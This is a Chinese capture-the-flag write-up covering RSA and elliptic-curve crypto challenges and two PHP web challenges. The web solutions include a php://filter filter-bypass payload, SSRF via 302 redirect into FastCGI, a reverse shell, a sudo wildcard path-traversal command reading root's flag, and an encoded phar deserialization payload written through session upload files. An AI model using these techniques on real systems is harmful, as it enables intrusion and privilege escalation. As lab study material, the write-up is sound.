Crypto
babyRSA
1 | from secret import flag |
这题考察Schmidt-Samoa密码系统
https://blog.csdn.net/MikeCoke/article/details/113915715
原理
1.选取两个大的质数p和q并进行计算N=p^2^q
2.计算 d = invert(N,φ(p*q))
加密
对消息m,计算密文C=m^N^ mod N
解密
计算明文m=C^d^ mod pq
求pq
∵Nd≡1 mod(p−1)(q−1)
任意选取一个a,有aNd≡ak(p−1)(q−1)+1≡amodpq
∴k×(p×q)=aNd−a
和N求公因数即可得到p×q,再用d解密即可
exp
1 | import gmpy2 |
1 | import gmpy2 |
Curve
https://tangcuxiaojikuai.xyz/post/187210a7.html
1 | #sagemath |
通过曲线之间的映射来解题
通过assert (agx^2+gy^2)%p==(1+dgx^2*gy^2)%p可知是标准的扭曲爱德华曲线
曲线 | Lazzaro (lazzzaro.github.io)
exp
1 | from Crypto.Util.number import * |
ezlogin
1 | from Crypto.Util.number import * |
前面按照线性k的dsa正常分析
之后利用small_roots求解出k,然后正常解密出x就得到了msg中得e
之后得RSA需要利用C求出p和q,但是直接用sagemath中得two_squares得求出来得不是我们需要的,之后就找了个这个网站可以多个解,然后慢慢试:
Generic two integer variable equation solver
1 | from Crypto.Util.number import * |
Web
Ez_Gallery
题目提示密码是纯数字
signal
打开登录框
我们发现后端是php
进行目录扫描
得到了index.php,admin.php,.index.php.swp
我们先来看admin.php,结果它自跳到了index.php里,看来存在session验证
我们下载.index.php.swp文件,用记事本打开看一眼
我们知道了账号和密码为guest和MyF3iend
我们成功登录账号
我们发现url里存在文件包含,我们包含个flag看看,发现flag是假的
我们包含admin.php试试
emmm,又自动跳转到index.php了,这说明了php被解析了,所以后端是用include函数来包含的
我们试试伪协议,先查看guest.php
1 | ?path=php://filter/convert.base64-encode/resource=guest.php |
发现被过滤了,几个测试,我们发现过滤器被过滤了,我们对它进行二次url编码
1 | ?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=guest.php |
得到guest.php的base64编码后的源码,我们解码后得到
1 |
|
我们来读取admin.php的内容
1 |
|
我们来看这几个关键代码
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
发现它允许跟随302跳转,并且接受POST传参url的,但是加了session验证,所以需要知道怎么登录进admin页面,所以我们需要在哪里得到admin的账户
我们在index.php页面源码发现语句
我们发现一个StoredAccounts.php,用文件包含读取一下源码看看
1 |
|
我们找到了管理员账号密码
1 | admin FetxRuFebAdm4nHace |
就是一个输出框,我们可以进行ssrf跳转,看源代码是只有https开头的才能跳转,现在需要想的是这里 的ssrf能打什么,结合题目描述,可以知道这里是打fastcgi。那么怎么https打302呢。如果自己有一个 域名,那么很好解决,直接跳转一下打fastcgi即可。服务器是裸ip就要找其他的方法尝试搭建一个临时 域名,这里至少有两个方法:
我们利用国外的cloudflare来起一个临时域名,用来打302跳转
本地测试是可以成功打302跳转的,但是这里的服务器是不通外网的,所以需要找另外的方法
使用ngrok工具,在服务器上面使用这个工具可以创建一个临时网站。配置方法参考官方文章,在 这个临时域名指向的本地服务就需要将其设置为一个302跳转来打。具体操作如下:
用于本地服务跳转的代码:
1 | from flask import Flask, redirect |
然后利用ngrok用于搭建临时网站的命令
1 | 生成https临时网站: ngrok http 8080 |
在这里我们就使用第二个,配置好ngrok后如下进行操作
开启本地服务:
进行端口转发
然后扔题目里访问这个https即可,看看回显:
有回显了,现在就是打fastgci
我们利用Gopherus来生成payload:
然后拿到本地服务中进行跳转
1 |
|
然后基本操作和前面差不多,现在还是将临时域名拿去跳转
成功执行命令
现在我们来弹一下shell
即
1 |
|
然后在服务器上监听端口,再执行一下之前的操作,成功反弹shell
根目录下的flag是假的,所以现在需要找一下flag位置:
1 | find / -name flag* |
找到flag了,我们查看…shell水灵灵的断了,重新连接吧
我们查看/tmp/whereflag/flagIsHere
提示我们没有权限
所以我们还要进行提权
因为此处无密码sudo的cat可读路径用了*进行通配,所以可以尝试目录穿越,如下读取flag即可:
1 | sudo cat /tmp/whereflag/../../../root/flag |
得到flag
n0ob_un4er
打开就是源码
1 |
|
来看session的逻辑,我们通过check_session()的校验后可以直接进行反序列化,但由于存在hmac-sha256加密,我们无法进行绕过进行反序列化,只能想想别的方法
我们知道copy函数可以使用phar伪协议,而且只要实例化admin类就能直接命令执行,明显是打phar反序列化
但是这里没有文件上传的点,不难想到将phar文件编码为字符串然后写入
$filename还要过一个waf,但源码没有给,在官方的题解里给出了这个waf
这个waf用了正则匹配了input,stdin和data关键字,防止使用这些可以读取外部数据流的伪协议去写文件
所以我们必须要找一个内部可控的文件来进行构造,可控文件无非临时文件,日志文件,session文件,临时文件无法知道文件名,由于该题设置了open_basedir,日志文件无法copy,所以只有session文件了,而且php的版本为7.2,在这个版本里,就算不开启session,但只要上传了文件,并且在cookie传入了PHPSESSION,也会生成临时的session文件
phar转字符串
用下面这组编码方法,后来发现其实用base64编码也行
1 | convert.base64-encode 和 convert.base64-decode |
参考
Laravel 8 Debug Mode RCE 拓展与踩坑 · Diggid’s Blog
生成phar文件
1 | <?php |
编码命令
1 | cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" |
编码结果
1 | =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=70=00=31=00=56=00=70=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=66=00=6B=00=51=00=44=00=6D=00=4B=00=4E=00=47=00=70=00=6B=00=70=00=46=00=51=00=76=00=48=00=4D=00=43=00=58=00=64=00=32=00=6C=00=2F=00=4C=00=46=00=32=00=30=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00 |
消除垃圾数据
由于session文件生成的规则,我们写入的数据前后都是会有系统写入的垃圾数据的
1 | curl http://127.0.0.1:8001/ -H 'Cookie: PHPSESSID=litsasuk' -F'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]' -F 'file=@/etc/passwd' |
我们可以使用base64编码的特性来消除前后的字符串
前面的”upload_progress_”一共14为,经过fuzz后我们只需要在后面添加两个字符“ZZ”,进行三次base64解码就能刚好被消掉
对于后面的垃圾数据,如果使用的是wp的报名方法,就不要管了,在解码的时候自然就会消掉了
编码细节
但是这里还有一个细节,就是如果我们要先进行3次base64编码来消去垃圾数据,那么我们编码后的phar文件就还需要连续进行3次base64编码,由于base64编码特性,人工被解码的字符串中出现了“=”就会编码失败,所以我们还需要对payload填充一下位数,使之连续3次base64编码都不会出现“=”,就需要满足位数为3^3的倍数
原本的payload是1392位,需要填充12位再进行连续3次base64编码
1 | =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=70=00=31=00=56=00=70=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=66=00=6B=00=51=00=44=00=6D=00=4B=00=4E=00=47=00=70=00=6B=00=70=00=46=00=51=00=76=00=48=00=4D=00=43=00=58=00=64=00=32=00=6C=00=2F=00=4C=00=46=00=32=00=30=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAA |
写文件以及读取文件
写文件
1 | ?filename=php://filter/read=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable- decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/sess_litsasuk |
读文件触发phar反序列化
1 | ?filename=phar:///tmp/tmp.tmp/test.txt |
脚本
1 | import sys |